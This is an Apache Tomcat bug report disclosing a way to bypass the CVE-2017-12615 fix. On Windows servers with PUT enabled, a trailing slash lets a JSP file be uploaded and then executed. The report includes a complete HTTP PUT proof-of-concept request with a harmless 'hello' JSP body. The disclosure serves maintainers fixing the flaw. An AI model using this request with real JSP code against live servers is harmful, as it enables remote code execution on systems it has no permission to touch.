https://bz.apache.org/bugzilla/show_bug.cgi?id=61542
Bug ID: 61542
Summary: Apache Tomcat Remote Code Execution via JSP Upload
bypass for CVE-2017-12615
Product: Tomcat 7
Version: 7.0.81
Hardware: PC
Status: NEW
Severity: normal
Priority: P2
Component: Servlet & JSP API
Assignee: dev@tomcat.apache.org
Reporter: shengqi...@gmail.com
Target Milestone: ---
Description:
When running on Windows with HTTP PUTs enabled (e.g. via setting the
readonly initialisation parameter of the Default to false) it was
possible to upload a JSP file to the server via a specially crafted
request. This JSP could then be requested and any code it contained
would be executed by the server.
the poc is like this:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26
<% out.println("hello");%>
it is the bypass for CVE-2017-12615
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